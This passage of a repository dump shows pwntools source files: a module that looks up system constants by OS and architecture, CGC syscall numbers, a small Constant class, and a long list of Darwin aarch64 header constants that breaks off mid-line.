    "content": "\"\"\"Module containing constants extracted from header files.\n\nThe purpose of this module is to provide quick access to constants from\ndifferent architectures and operating systems.\n\nThe constants are wrapped by a convenience class that allows accessing\nthe name of the constant, while performing all normal mathematical\noperations on it.\n\nExample:\n\n    >>> str(constants.freebsd.SYS_stat)\n    'SYS_stat'\n    >>> int(constants.freebsd.SYS_stat)\n    188\n    >>> hex(constants.freebsd.SYS_stat)\n    '0xbc'\n    >>> 0 | constants.linux.i386.SYS_stat\n    106\n    >>> 0 + constants.linux.amd64.SYS_stat\n    4\n\nThe submodule ``freebsd`` contains all constants for FreeBSD, while the\nconstants for Linux have been split up by architecture.\n\nThe variables of the submodules will be \"lifted up\" by setting the\n:data:`pwnlib.context.arch` or :data:`pwnlib.context.os` in a manner similar to\nwhat happens in :mod:`pwnlib.shellcraft`.\n\nExample:\n\n    >>> with context.local(os = 'freebsd'):\n    ...     print(int(constants.SYS_stat))\n    188\n    >>> with context.local(os = 'linux', arch = 'i386'):\n    ...     print(int(constants.SYS_stat))\n    106\n    >>> with context.local(os = 'linux', arch = 'amd64'):\n    ...     print(int(constants.SYS_stat))\n    4\n\n    >>> with context.local(arch = 'i386', os = 'linux'):\n    ...    print(constants.SYS_execve + constants.PROT_WRITE)\n    13\n    >>> with context.local(arch = 'amd64', os = 'linux'):\n    ...    print(constants.SYS_execve + constants.PROT_WRITE)\n    61\n    >>> with context.local(arch = 'amd64', os = 'linux'):\n    ...    print(constants.SYS_execve + constants.PROT_WRITE)\n    61\n\n\"\"\"\nimport importlib\nimport sys\nfrom types import ModuleType\n\nfrom pwnlib.constants.constant import Constant\nfrom pwnlib.context import context\nfrom pwnlib.util import safeeval\n\n\nclass ConstantsModule(ModuleType):\n    \"\"\"\n    ModuleType specialization in order to automatically\n    route queries down to the correct module based on the\n    current context arch / os.\n    \"\"\"\n    Constant = Constant\n\n    possible_submodules = set(context.oses) | set(context.architectures)\n\n    def __init__(self, name, module):\n        super(ConstantsModule, self).__init__(name)\n        self.__dict__.update(module.__dict__)\n        self._env_store = {}\n\n    def guess(self):\n        if context.os in self.__name__ and context.arch in self.__name__:\n            return self\n\n        mod = self\n        mod = getattr(mod, context.os, mod)\n        mod = getattr(mod, context.arch, mod)\n        return mod\n\n    def __dir__(self):\n        return self.__all__\n\n    def __getattr__(self, key):\n        # Special case for __all__, we want to return the contextually\n        # relevant module.\n        if key == '__all__':\n            return list(self.guess().__dict__.keys())\n\n        # Special case for all other special properties which aren't defined\n        if key.endswith('__'):\n            raise AttributeError\n\n        # This code is only hit if the attribute doesn't already exist.\n        # Attempt to import a module by the specified name.\n        if key in self.possible_submodules:\n            try:\n                mod = importlib.import_module('.' + key, self.__name__)\n                mod = ConstantsModule(mod.__name__, mod)\n                setattr(self, key, mod)\n                sys.modules[mod.__name__] = mod\n                return mod\n            except ImportError:\n                pass\n        else:\n            mod = self.guess()\n            if mod is not self and hasattr(mod, key):\n                return getattr(mod, key)\n\n        raise AttributeError(\"'module' object has no attribute '%s'\" % key)\n\n    def eval(self, string):\n        \"\"\"eval(string) -> value\n\n        Evaluates a string in the context of values of this module.\n\n        Example:\n\n            >>> with context.local(arch = 'i386', os = 'linux'):\n            ...    print(13 == constants.eval('SYS_execve + PROT_WRITE'))\n            True\n            >>> with context.local(arch = 'amd64', os = 'linux'):\n            ...    print(61 == constants.eval('SYS_execve + PROT_WRITE'))\n            True\n            >>> with context.local(arch = 'amd64', os = 'linux'):\n            ...    print(61 == constants.eval('SYS_execve + PROT_WRITE'))\n            True\n        \"\"\"\n        if not isinstance(string, str):\n            return string\n\n        simple = getattr(self, string, None)\n\n        if simple is not None:\n            return simple\n\n        key = context.os, context.arch\n        if key not in self._env_store:\n            self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}\n\n        val = safeeval.values(string, self._env_store[key])\n\n        # if the expression is not assembly-safe, it is not so vital to preserve it\n        if set(string) & (set(bytearray(range(32)).decode()) | set('\"#$\\',.;@[\\\\]`{}')):\n            string = val\n\n        return Constant('(%s)' % string, val)\n\n\n# To prevent garbage collection\ntether = sys.modules[__name__]\n\n# Create the module structure\nsys.modules[__name__] = ConstantsModule(__name__, tether)\n"
  },
  {
    "path": "pwnlib/constants/cgc/__init__.py",
    "content": ""
  },
  {
    "path": "pwnlib/constants/cgc/thumb.py",
    "content": "from pwnlib.constants.constant import Constant\n\nterminate = Constant('terminate', 1)\nSYS_terminate = Constant('SYS_terminate', 1)\n__NR_terminate = Constant('__NR_terminate', 1)\n\ntransmit = Constant('transmit', 2)\nSYS_transmit = Constant('SYS_transmit', 2)\n__NR_transmit = Constant('__NR_transmit', 2)\n\nreceive = Constant('receive', 3)\nSYS_receive = Constant('SYS_receive', 3)\n__NR_receive = Constant('__NR_receive', 3)\n\nfdwait = Constant('fdwait', 4)\nSYS_fdwait = Constant('SYS_fdwait', 4)\n__NR_fdwait = Constant('__NR_fdwait', 4)\n\nallocate = Constant('allocate', 5)\nSYS_allocate = Constant('SYS_allocate', 5)\n__NR_allocate = Constant('__NR_allocate', 5)\n\ndeallocate = Constant('deallocate', 6)\nSYS_deallocate = Constant('SYS_deallocate', 6)\n__NR_deallocate = Constant('__NR_deallocate', 6)\n\nrandom = Constant('random', 7)\nSYS_random = Constant('SYS_random', 7)\n__NR_random = Constant('__NR_random', 7)\n"
  },
  {
    "path": "pwnlib/constants/constant.py",
    "content": "class Constant(int):\n    def __new__(cls, s, i):\n        obj = super(Constant, cls).__new__(cls, i)\n        obj.s = s\n        return obj\n    def __str__(self):\n        return self.s\n    def __repr__(self):\n        return 'Constant(%r, %#x)' % (self.s,int(self))\n"
  },
  {
    "path": "pwnlib/constants/darwin/__init__.py",
    "content": ""
  },
  {
    "path": "pwnlib/constants/darwin/aarch64.py",
    "content": "from pwnlib.constants.constant import Constant\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nDST_NONE = Constant('DST_NONE',0)\nDST_USA = Constant('DST_USA',1)\nDST_AUST = Constant('DST_AUST',2)\nDST_WET = Constant('DST_WET',3)\nDST_MET = Constant('DST_MET',4)\nDST_EET = Constant('DST_EET',5)\nDST_CAN = Constant('DST_CAN',6)\nCHILD_MAX = Constant('CHILD_MAX',266)\nLINK_MAX = Constant('LINK_MAX',32767)\nMAX_CANON = Constant('MAX_CANON',1024)\nMAX_INPUT = Constant('MAX_INPUT',1024)\nNAME_MAX = Constant('NAME_MAX',255)\nNGROUPS_MAX = Constant('NGROUPS_MAX',16)\nOPEN_MAX = Constant('OPEN_MAX',10240)\nPATH_MAX = Constant('PATH_MAX',1024)\nPIPE_BUF = Constant('PIPE_BUF',512)\nBC_BASE_MAX = Constant('BC_BASE_MAX',99)\nBC_DIM_MAX = Constant('BC_DIM_MAX',2048)\nBC_SCALE_MAX = Constant('BC_SCALE_MAX',99)\nBC_STRING_MAX = Constant('BC_STRING_MAX',1000)\nCHARCLASS_NAME_MAX = Constant('CHARCLASS_NAME_MAX',14)\nCOLL_WEIGHTS_MAX = Constant('COLL_WEIGHTS_MAX',2)\nEQUIV_CLASS_MAX = Constant('EQUIV_CLASS_MAX',2)\nEXPR_NEST_MAX = Constant('EXPR_NEST_MAX',32)\nLINE_MAX = Constant('LINE_MAX',2048)\nRE_DUP_MAX = Constant('RE_DUP_MAX',255)\nNZERO = Constant('NZERO',0)\nGETNCNT = Constant('GETNCNT',3)\nGETPID = Constant('GETPID',4)\nGETVAL = Constant('GETVAL',5)\nGETALL = Constant('GETALL',6)\nGETZCNT = Constant('GETZCNT',7)\nSETVAL = Constant('SETVAL',8)\nSETALL = Constant('SETALL',9)\nSEM_UNDO = Constant('SEM_UNDO',0o010000)\nSEM_A = Constant('SEM_A',0o0200)\nSEM_R = Constant('SEM_R',0o0400)\nPSEMNAMLEN = Constant('PSEMNAMLEN',31)\nPSEM_NONE = Constant('PSEM_NONE',1)\nPSEM_DEFINED = Constant('PSEM_DEFINED',2)\nPSEM_ALLOCATED = Constant('PSEM_ALLOCATED',4)\nPSEM_MAPPED = Constant('PSEM_MAPPED',8)\nPSEM_INUSE = Constant('PSEM_INUSE',0x10)\nPSEM_REMOVED = Constant('PSEM_REMOVED',0x20)\nPSEM_INCREATE = Constant('PSEM_INCREATE',0x40)\nPSEM_INDELETE = Constant('PSEM_INDELETE',0x80)\nFSOPT_NOFOLLOW = Constant('FSOPT_NOFOLLOW',0x00000001)\nFSOPT_NOINMEMUPDATE = Constant('FSOPT_NOINMEMUPDATE',0x00000002)\nFSOPT_REPORT_FULLSIZE = Constant('FSOPT_REPORT_FULLSIZE',0x00000004)\nFSOPT_PACK_INVAL_ATTRS = Constant('FSOPT_PACK_INVAL_ATTRS',0x00000008)\nFSOPT_ATTR_CMN_EXTENDED = Constant('FSOPT_ATTR_CMN_EXTENDED',0x00000020)\nFSOPT_RETURN_REALDEV = Constant('FSOPT_RETURN_REALDEV',0x00000200)\nFSOPT_NOFOLLOW_ANY = Constant('FSOPT_NOFOLLOW_ANY',0x00000800)\nSEARCHFS_MAX_SEARCHPARMS = Constant('SEARCHFS_MAX_SEARCHPARMS',4096)\nATTR_BIT_MAP_COUNT = Constant('ATTR_BIT_MAP_COUNT',5)\nVOL_CAPABILITIES_FORMAT = Constant('VOL_CAPABILITIES_FORMAT',0)\nVOL_CAPABILITIES_INTERFACES = Constant('VOL_CAPABILITIES_INTERFACES',1)\nVOL_CAPABILITIES_RESERVED1 = Constant('VOL_CAPABILITIES_RESERVED1',2)\nVOL_CAPABILITIES_RESERVED2 = Constant('VOL_CAPABILITIES_RESERVED2',3)\nATTR_MAX_BUFFER = Constant('ATTR_MAX_BUFFER',8192)\nVOL_CAP_FMT_PERSISTENTOBJECTIDS = Constant('VOL_CAP_FMT_PERSISTENTOBJECTIDS',0x00000001)\nVOL_CAP_FMT_SYMBOLICLINKS = Constant('VOL_CAP_FMT_SYMBOLICLINKS',0x00000002)\nVOL_CAP_FMT_HARDLINKS = Constant('VOL_CAP_FMT_HARDLINKS',0x00000004)\nVOL_CAP_FMT_JOURNAL = Constant('VOL_CAP_FMT_JOURNAL',0x00000008)\nVOL_CAP_FMT_JOURNAL_ACTIVE = Constant('VOL_CAP_FMT_JOURNAL_ACTIVE',0x00000010)\nVOL_CAP_FMT_NO_ROOT_TIMES = Constant('VOL_CAP_FMT_NO_ROOT_TIMES',0x00000020)\nVOL_CAP_FMT_SPARSE_FILES = Constant('VOL_CAP_FMT_SPARSE_FILES',0x00000040)\nVOL_CAP_FMT_ZERO_RUNS = Constant('VOL_CAP_FMT_ZERO_RUNS',0x00000080)\nVOL_CAP_FMT_CASE_SENSITIVE = Constant('VOL_CAP_FMT_CASE_SENSITIVE',0x00000100)\nVOL_CAP_FMT_CASE_PRESERVING = Constant('VOL_CAP_FMT_CASE_PRESERVING',0x00000200)\nVOL_CAP_FMT_FAST_STATFS = Constant('VOL_CAP_FMT_FAST_STATFS',0x00000400)\nVOL_CAP_FMT_2TB_FILESIZE = Constant('VOL_CAP_FMT_2TB_FILESIZE',0x00000800)\nVOL_CAP_FMT_OPENDENYMODES = Constant('VOL_CAP_FMT_OPENDENYMODES',0x00001000)\nVOL_CAP_FMT_HIDDEN_FILES = Constant('VOL_CAP_FMT_HIDDEN_FILES',0x00002000)\nVOL_CAP_FMT_PATH_FROM_ID = Constant('VOL_CAP_FMT_PATH_FROM_ID',0x00004000)\nVOL_CAP_FMT_NO_VOLUME_SIZES = Constant('VOL_CAP_FMT_NO_VOLUME_SIZES',0x00008000)\nVOL_CAP_FMT_DECMPFS_COMPRESSION = Constant('VOL_CAP_FMT_DECMPFS_COMPRESSION',0x00010000)\nVOL_CAP_FMT_64BIT_OBJECT_IDS = Constant('VOL_CAP_FMT_64BIT_OBJECT_IDS',0x00020000)\nVOL_CAP_FMT_DIR_HARDLINKS = Constant('VOL_CAP_FMT_DIR_HARDLINKS',0x00040000)\nVOL_CAP_FMT_DOCUMENT_ID = Constant('VOL_CAP_FMT_DOCUMENT_ID',0x00080000)\nVOL_CAP_FMT_WRITE_GENERATION_COUNT = Constant('VOL_CAP_FMT_WRITE_GENERATION_COUNT',0x00100000)\nVOL_CAP_FMT_NO_IMMUTABLE_FILES = Constant('VOL_CAP_FMT_NO_IMMUTABLE_FILES',0x00200000)\nVOL_CAP_FMT_NO_PERMISSIONS = Constant('VOL_CAP_FMT_NO_PERMISSIONS',0x00400000)\nVOL_CAP_FMT_SHARED_SPACE = Constant('VOL_CAP_FMT_SHARED_SPACE',0x00800000)\nVOL_CAP_FMT_VOL_GROUPS = Constant('VOL_CAP_FMT_VOL_GROUPS',0x01000000)\nVOL_CAP_FMT_SEALED = Constant('VOL_CAP_FMT_SEALED',0x02000000)\nVOL_CAP_FMT_CLONE_MAPPING = Constant('VOL_CAP_FMT_CLONE_MAPPING',0x04000000)\nVOL_CAP_INT_SEARCHFS = Constant('VOL_CAP_INT_SEARCHFS',0x00000001)\nVOL_CAP_INT_ATTRLIST = Constant('VOL_CAP_INT_ATTRLIST',0x00000002)\nVOL_CAP_INT_NFSEXPORT = Constant('VOL_CAP_INT_NFSEXPORT',0x00000004)\nVOL_CAP_INT_READDIRATTR = Constant('VOL_CAP_INT_READDIRATTR',0x00000008)\nVOL_CAP_INT_EXCHANGEDATA = Constant('VOL_CAP_INT_EXCHANGEDATA',0x00000010)\nVOL_CAP_INT_COPYFILE = Constant('VOL_CAP_INT_COPYFILE',0x00000020)\nVOL_CAP_INT_ALLOCATE = Constant('VOL_CAP_INT_ALLOCATE',0x00000040)\nVOL_CAP_INT_VOL_RENAME = Constant('VOL_CAP_INT_VOL_RENAME',0x00000080)\nVOL_CAP_INT_ADVLOCK = Constant('VOL_CAP_INT_ADVLOCK',0x00000100)\nVOL_CAP_INT_FLOCK = Constant('VOL_CAP_INT_FLOCK',0x00000200)\nVOL_CAP_INT_EXTENDED_SECURITY = Constant('VOL_CAP_INT_EXTENDED_SECURITY',0x00000400)\nVOL_CAP_INT_USERACCESS = Constant('VOL_CAP_INT_USERACCESS',0x00000800)\nVOL_CAP_INT_MANLOCK = Constant('VOL_CAP_INT_MANLOCK',0x00001000)\nVOL_CAP_INT_NAMEDSTREAMS = Constant('VOL_CAP_INT_NAMEDSTREAMS',0x00002000)\nVOL_CAP_INT_EXTENDED_ATTR = Constant('VOL_CAP_INT_EXTENDED_ATTR',0x00004000)\nVOL_CAP_INT_CLONE = Constant('VOL_CAP_INT_CLONE',0x00010000)\nVOL_CAP_INT_SNAPSHOT = Constant('VOL_CAP_INT_SNAPSHOT',0x00020000)\nVOL_CAP_INT_RENAME_SWAP = Constant('VOL_CAP_INT_RENAME_SWAP',0x00040000)\nVOL_CAP_INT_RENAME_EXCL = Constant('VOL_CAP_INT_RENAME_EXCL',0x00080000)\nVOL_CAP_INT_RENAME_OPENFAIL = Constant('VOL_CAP_INT_RENAME_OPENFAIL',0x00100000)\nVOL_CAP_INT_RENAME_SECLUDE = Constant('VOL_CAP_INT_RENAME_SECLUDE',0x00200000)\nVOL_CAP_INT_ATTRIBUTION_TAG = Constant('VOL_CAP_INT_ATTRIBUTION_TAG',0x00400000)\nVOL_CAP_INT_PUNCHHOLE = Constant('VOL_CAP_INT_PUNCHHOLE',0x00800000)\nATTR_CMN_NAME = Constant('ATTR_CMN_NAME',0x00000001)\nATTR_CMN_DEVID = Constant('ATTR_CMN_DEVID',0x00000002)\nATTR_CMN_FSID = Constant('ATTR_CMN_FSID',0x00000004)\nATTR_CMN_OBJTYPE = Constant('ATTR_CMN_OBJTYPE',0x00000008)\nATTR_CMN_OBJTAG = Constant('ATTR_CMN_OBJTAG',0x00000010)\nATTR_CMN_OBJID = Constant('ATTR_CMN_OBJID',0x00000020)\nATTR_CMN_OBJPERMANENTID = Constant('ATTR_CMN_OBJPERMANENTID',0x00000040)\nATTR_CMN_PAROBJID = Constant('ATTR_CMN_PAROBJID',0x00000080)\nATTR_CMN_SCRIPT = Constant('ATTR_CMN_SCRIPT',0x00000100)\nATTR_CMN_CRTIME = Constant('ATTR_CMN_CRTIME',0x00000200)\nATTR_CMN_MODTIME = Constant('ATTR_CMN_MODTIME',0x00000400)\nATTR_CMN_CHGTIME = Constant('ATTR_CMN_CHGTIME',0x00000800)\nATTR_CMN_ACCTIME = Constant('ATTR_CMN_ACCTIME',0x00001000)\nATTR_CMN_BKUPTIME = Constant('ATTR_CMN_BKUPTIME',0x00002000)\nATTR_CMN_FNDRINFO = Constant('ATTR_CMN_FNDRINFO',0x00004000)\nATTR_CMN_OWNERID = Constant('ATTR_CMN_OWNERID',0x00008000)\nATTR_CMN_GRPID = Constant('ATTR_CMN_GRPID',0x00010000)\nATTR_CMN_ACCESSMASK = Constant('ATTR_CMN_ACCESSMASK',0x00020000)\nATTR_CMN_FLAGS = Constant('ATTR_CMN_FLAGS',0x00040000)\nATTR_CMN_GEN_COUNT = Constant('ATTR_CMN_GEN_COUNT',0x00080000)\nATTR_CMN_DOCUMENT_ID = Constant('ATTR_CMN_DOCUMENT_ID',0x00100000)\nATTR_CMN_USERACCESS = Constant('ATTR_CMN_USERACCESS',0x00200000)\nATTR_CMN_EXTENDED_SECURITY = Constant('ATTR_CMN_EXTENDED_SECURITY',0x00400000)\nATTR_CMN_UUID = Constant('ATTR_CMN_UUID',0x00800000)\nATTR_CMN_GRPUUID = Constant('ATTR_CMN_GRPUUID',0x01000000)\nATTR_CMN_FILEID = Constant('ATTR_CMN_FILEID',0x02000000)\nATTR_CMN_PARENTID = Constant('ATTR_CMN_PARENTID',0x04000000)\nATTR_CMN_FULLPATH = Constant('ATTR_CMN_FULLPATH',0x08000000)\nATTR_CMN_ADDEDTIME = Constant('ATTR_CMN_ADDEDTIME',0x10000000)\nATTR_CMN_ERROR = Constant('ATTR_CMN_ERROR',0x20000000)\nATTR_CMN_DATA_PROTECT_FLAGS = Constant('ATTR_CMN_DATA_PROTECT_FLAGS',0x40000000)\nATTR_CMN_RETURNED_ATTRS = Constant('ATTR_CMN_RETURNED_ATTRS',0x80000000)\nATTR_CMN_VALIDMASK = Constant('ATTR_CMN_VALIDMASK',0xFFFFFFFF)\nATTR_CMN_SETMASK = Constant('ATTR_CMN_SETMASK',0x51C7FF00)\nATTR_CMN_VOLSETMASK = Constant('ATTR_CMN_VOLSETMASK',0x00006700)\nATTR_VOL_FSTYPE = Constant('ATTR_VOL_FSTYPE',0x00000001)\nATTR_VOL_SIGNATURE = Constant('ATTR_VOL_SIGNATURE',0x00000002)\nATTR_VOL_SIZE = Constant('ATTR_VOL_SIZE',0x00000004)\nATTR_VOL_SPACEFREE = Constant('ATTR_VOL_SPACEFREE',0x00000008)\nATTR_VOL_SPACEAVAIL = Constant('ATTR_VOL_SPACEAVAIL',0x00000010)\nATTR_VOL_MINALLOCATION = Constant('ATTR_VOL_MINALLOCATION',0x00000020)\nATTR_VOL_ALLOCATIONCLUMP = Constant('ATTR_VOL_ALLOCATIONCLUMP',0x00000040)\nATTR_VOL_IOBLOCKSIZE = Constant('ATTR_VOL_IOBLOCKSIZE',0x00000080)\nATTR_VOL_OBJCOUNT = Constant('ATTR_VOL_OBJCOUNT',0x00000100)\nATTR_VOL_FILECOUNT = Constant('ATTR_VOL_FILECOUNT',0x00000200)\nATTR_VOL_DIRCOUNT = Constant('ATTR_VOL_DIRCOUNT',0x00000400)\nATTR_VOL_MAXOBJCOUNT = Constant('ATTR_VOL_MAXOBJCOUNT',0x00000800)\nATTR_VOL_MOUNTPOINT = Constant('ATTR_VOL_MOUNTPOINT',0x00001000)\nATTR_VOL_NAME = Constant('ATTR_VOL_NAME',0x00002000)\nATTR_VOL_MOUNTFLAGS = Constant('ATTR_VOL_MOUNTFLAGS',0x00004000)\nATTR_VOL_MOUNTEDDEVICE = Constant('ATTR_VOL_MOUNTEDDEVICE',0x00008000)\nATTR_VOL_ENCODINGSUSED = Constant('ATTR_VOL_ENCODINGSUSED',0x00010000)\nATTR_VOL_CAPABILITIES = Constant('ATTR_VOL_CAPABILITIES',0x00020000)\nATTR_VOL_UUID = Constant('ATTR_VOL_UUID',0x00040000)\nATTR_VOL_FSTYPENAME = Constant('ATTR_VOL_FSTYPENAME',0x00100000)\nATTR_VOL_FSSUBTYPE = Constant('ATTR_VOL_FSSUBTYPE',0x00200000)\nATTR_VOL_SPACEUSED = Constant('ATTR_VOL_SPACEUSED',0x00800000)\nATTR_VOL_QUOTA_SIZE = Constant('ATTR_VOL_QUOTA_SIZE',0x10000000)\nATTR_VOL_RESERVED_SIZE = Constant('ATTR_VOL_RESERVED_SIZE',0x20000000)\nATTR_VOL_ATTRIBUTES = Constant('ATTR_VOL_ATTRIBUTES',0x40000000)\nATTR_VOL_INFO = Constant('ATTR_VOL_INFO',0x80000000)\nATTR_VOL_VALIDMASK = Constant('ATTR_VOL_VALIDMASK',0xF0B7FFFF)\nATTR_VOL_SETMASK = Constant('ATTR_VOL_SETMASK',0x80002000)\nATTR_DIR_LINKCOUNT = Constant('ATTR_DIR_LINKCOUNT',0x00000001)\nATTR_DIR_ENTRYCOUNT = Constant('ATTR_DIR_ENTRYCOUNT',0x00000002)\nATTR_DIR_MOUNTSTATUS = Constant('ATTR_DIR_MOUNTSTATUS',0x00000004)\nATTR_DIR_ALLOCSIZE = Constant('ATTR_DIR_ALLOCSIZE',0x00000008)\nATTR_DIR_IOBLOCKSIZE = Constant('ATTR_DIR_IOBLOCKSIZE',0x00000010)\nATTR_DIR_DATALENGTH = Constant('ATTR_DIR_DATALENGTH',0x00000020)\nDIR_MNTSTATUS_MNTPOINT = Constant('DIR_MNTSTATUS_MNTPOINT',0x00000001)\nDIR_MNTSTATUS_TRIGGER = Constant('DIR_MNTSTATUS_TRIGGER',0x00000002)\nATTR_DIR_VALIDMASK = Constant('ATTR_DIR_VALIDMASK',0x0000003f)\nATTR_DIR_SETMASK = Constant('ATTR_DIR_SETMASK',0x00000000)\nATTR_FILE_LINKCOUNT = Constant('ATTR_FILE_LINKCOUNT',0x00000001)\nATTR_FILE_TOTALSIZE = Constant('ATTR_FILE_TOTALSIZE',0x00000002)\nATTR_FILE_ALLOCSIZE = Constant('ATTR_FILE_ALLOCSIZE',0x00000004)\nATTR_FILE_IOBLOCKSIZE = Constant('ATTR_FILE_IOBLOCKSIZE',0x00000008)\nATTR_FILE_DEVTYPE = Constant('ATTR_FILE_DEVTYPE',0x00000020)\nATTR_FILE_FORKCOUNT = Constant('ATTR_FILE_FORKCOUNT',0x00000080)\nATTR_FILE_FORKLIST = Constant('ATTR_FILE_FORKLIST',0x00000100)\nATTR_FILE_DATALENGTH = Constant('ATTR_FILE_DATALENGTH',0x00000200)\nATTR_FILE_DATAALLOCSIZE = Constant('ATTR_FILE_DATAALLOCSIZE',0x00000400)\nATTR_FILE_RSRCLENGTH = Constant('ATTR_FILE_RSRCLENGTH',0x00001000)\nATTR_FILE_RSRCALLOCSIZE = Constant('ATTR_FILE_RSRCALLOCSIZE',0x00002000)\nATTR_FILE_VALIDMASK = Constant('ATTR_FILE_VALIDMASK',0x000037FF)\nATTR_FILE_SETMASK = Constant('ATTR_FILE_SETMASK',0x00000020)\nATTR_CMNEXT_RELPATH = Constant('ATTR_CMNEXT_RELPATH',0x00000004)\nATTR_CMNEXT_PRIVATESIZE = Constant('ATTR_CMNEXT_PRIVATESIZE',0x00000008)\nATTR_CMNEXT_LINKID = Constant('ATTR_CMNEXT_LINKID',0x00000010)\nATTR_CMNEXT_NOFIRMLINKPATH = Constant('ATTR_CMNEXT_NOFIRMLINKPATH',0x00000020)\nATTR_CMNEXT_REALDEVID = Constant('ATTR_CMNEXT_REALDEVID',0x00000040)\nATTR_CMNEXT_REALFSID = Constant('ATTR_CMNEXT_REALFSID',0x00000080)\nATTR_CMNEXT_CLONEID = Constant('ATTR_CMNEXT_CLONEID',0x00000100)\nATTR_CMNEXT_EXT_FLAGS = Constant('ATTR_CMNEXT_EXT_FLAGS',0x00000200)\nATTR_CMNEXT_RECURSIVE_GENCOUNT = Constant('ATTR_CMNEXT_RECURSIVE_GENCOUNT',0x00000400)\nATTR_CMNEXT_ATTRIBUTION_TAG = Constant('ATTR_CMNEXT_ATTRIBUTION_TAG',0x00000800)\nATTR_CMNEXT_CLONE_REFCNT = Constant('ATTR_CMNEXT_CLONE_REFCNT',0x00001000)\nATTR_CMNEXT_VALIDMASK = Constant('ATTR_CMNEXT_VALIDMASK',0x00001ffc)\nATTR_CMNEXT_SETMASK = Constant('ATTR_CMNEXT_SETMASK',0x00000000)\nATTR_FORK_TOTALSIZE = Constant('ATTR_FORK_TOTALSIZE',0x00000001)\nATTR_FORK_ALLOCSIZE = Constant('ATTR_FORK_ALLOCSIZE',0x00000002)\nATTR_FORK_RESERVED = Constant('ATTR_FORK_RESERVED',0xffffffff)\nATTR_FORK_VALIDMASK = Constant('ATTR_FORK_VALIDMASK',0x00000003)\nATTR_FORK_SETMASK = Constant('ATTR_FORK_SETMASK',0x00000000)\nATTR_CMN_NAMEDATTRCOUNT = Constant('ATTR_CMN_NAMEDATTRCOUNT',0x00080000)\nATTR_CMN_NAMEDATTRLIST = Constant('ATTR_CMN_NAMEDATTRLIST',0x00100000)\nATTR_FILE_CLUMPSIZE = Constant('ATTR_FILE_CLUMPSIZE',0x00000010)\nATTR_FILE_FILETYPE = Constant('ATTR_FILE_FILETYPE',0x00000040)\nATTR_FILE_DATAEXTENTS = Constant('ATTR_FILE_DATAEXTENTS',0x00000800)\nATTR_FILE_RSRCEXTENTS = Constant('ATTR_FILE_RSRCEXTENTS',0x00004000)\nSRCHFS_START = Constant('SRCHFS_START',0x00000001)\nSRCHFS_MATCHPARTIALNAMES = Constant('SRCHFS_MATCHPARTIALNAMES',0x00000002)\nSRCHFS_MATCHDIRS = Constant('SRCHFS_MATCHDIRS',0x00000004)\nSRCHFS_MATCHFILES = Constant('SRCHFS_MATCHFILES',0x00000008)\nSRCHFS_SKIPLINKS = Constant('SRCHFS_SKIPLINKS',0x00000010)\nSRCHFS_SKIPINVISIBLE = Constant('SRCHFS_SKIPINVISIBLE',0x00000020)\nSRCHFS_SKIPPACKAGES = Constant('SRCHFS_SKIPPACKAGES',0x00000040)\nSRCHFS_SKIPINAPPROPRIATE = Constant('SRCHFS_SKIPINAPPROPRIATE',0x00000080)\nSRCHFS_NEGATEPARAMS = Constant('SRCHFS_NEGATEPARAMS',0x80000000)\nSRCHFS_VALIDOPTIONSMASK = Constant('SRCHFS_VALIDOPTIONSMASK',0x800000FF)\nKEV_ANY_VENDOR = Constant('KEV_ANY_VENDOR',0)\nKEV_ANY_CLASS = Constant('KEV_ANY_CLASS',0)\nKEV_ANY_SUBCLASS = Constant('KEV_ANY_SUBCLASS',0)\nKEV_VENDOR_APPLE = Constant('KEV_VENDOR_APPLE',1)\nKEV_NETWORK_CLASS = Constant('KEV_NETWORK_CLASS',1)\nKEV_IOKIT_CLASS = Constant('KEV_IOKIT_CLASS',2)\nKEV_SYSTEM_CLASS = Constant('KEV_SYSTEM_CLASS',3)\nKEV_APPLESHARE_CLASS = Constant('KEV_APPLESHARE_CLASS',4)\nKEV_FIREWALL_CLASS = Constant('KEV_FIREWALL_CLASS',5)\nKEV_IEEE80211_CLASS = Constant('KEV_IEEE80211_CLASS',6)\nKEV_NKE_CLASS = Constant('KEV_NKE_CLASS',7)\nKEV_NKE_ALF_SUBCLASS = Constant('KEV_NKE_ALF_SUBCLASS',1)\nKEV_NKE_ALF_STATE_CHANGED = Constant('KEV_NKE_ALF_STATE_CHANGED',1)\nXNU_KERN_EVENT_DATA_SIZE = Constant('XNU_KERN_EVENT_DATA_SIZE',1)\nKEV_VENDOR_CODE_MAX_STR_LEN = Constant('KEV_VENDOR_CODE_MAX_STR_LEN',200)\nN_KEV_VECTORS = Constant('N_KEV_VECTORS',5)\nM_WAITOK = Constant('M_WAITOK',0x0000)\nM_NOWAIT = Constant('M_NOWAIT',0x0001)\nM_ZERO = Constant('M_ZERO',0x0004)\nM_NULL = Constant('M_NULL',0x0008)\nM_PCB = Constant('M_PCB',4)\nM_RTABLE = Constant('M_RTABLE',5)\nM_IFADDR = Constant('M_IFADDR',9)\nM_SONAME = Constant('M_SONAME',11)\nM_LOCKF = Constant('M_LOCKF',40)\nM_TEMP = Constant('M_TEMP',80)\nM_UDFNODE = Constant('M_UDFNODE',84)\nM_UDFMNT = Constant('M_UDFMNT',85)\nM_KAUTH = Constant('M_KAUTH',100)\nHAVE_VT_LOCKERFS = Constant('HAVE_VT_LOCKERFS',1)\nVNODE_READ = Constant('VNODE_READ',0x01)\nVNODE_WRITE = Constant('VNODE_WRITE',0x02)\nVNODE_BLOCKMAP_NO_TRACK = Constant('VNODE_BLOCKMAP_NO_TRACK',0x04)\nVNODE_CLUSTER_VERIFY = Constant('VNODE_CLUSTER_VERIFY',0x08)\nPREALLOCATE = Constant('PREALLOCATE',0x00000001)\nALLOCATECONTIG = Constant('ALLOCATECONTIG',0x00000002)\nALLOCATEALL = Constant('ALLOCATEALL',0x00000004)\nALLOCATEPERSIST = Constant('ALLOCATEPERSIST',0x00000008)\nALLOCATEFROMPEOF = Constant('ALLOCATEFROMPEOF',0x00000010)\nALLOCATEFROMVOL = Constant('ALLOCATEFROMVOL',0x00000020)\nIO_UNIT = Constant('IO_UNIT',0x0001)\nIO_APPEND = Constant('IO_APPEND',0x0002)\nIO_SYNC = Constant('IO_SYNC',0x0004)\nIO_NODELOCKED = Constant('IO_NODELOCKED',0x0008)\nIO_NDELAY = Constant('IO_NDELAY',0x0010)\nIO_NOZEROFILL = Constant('IO_NOZEROFILL',0x0020)\nIO_TAILZEROFILL = 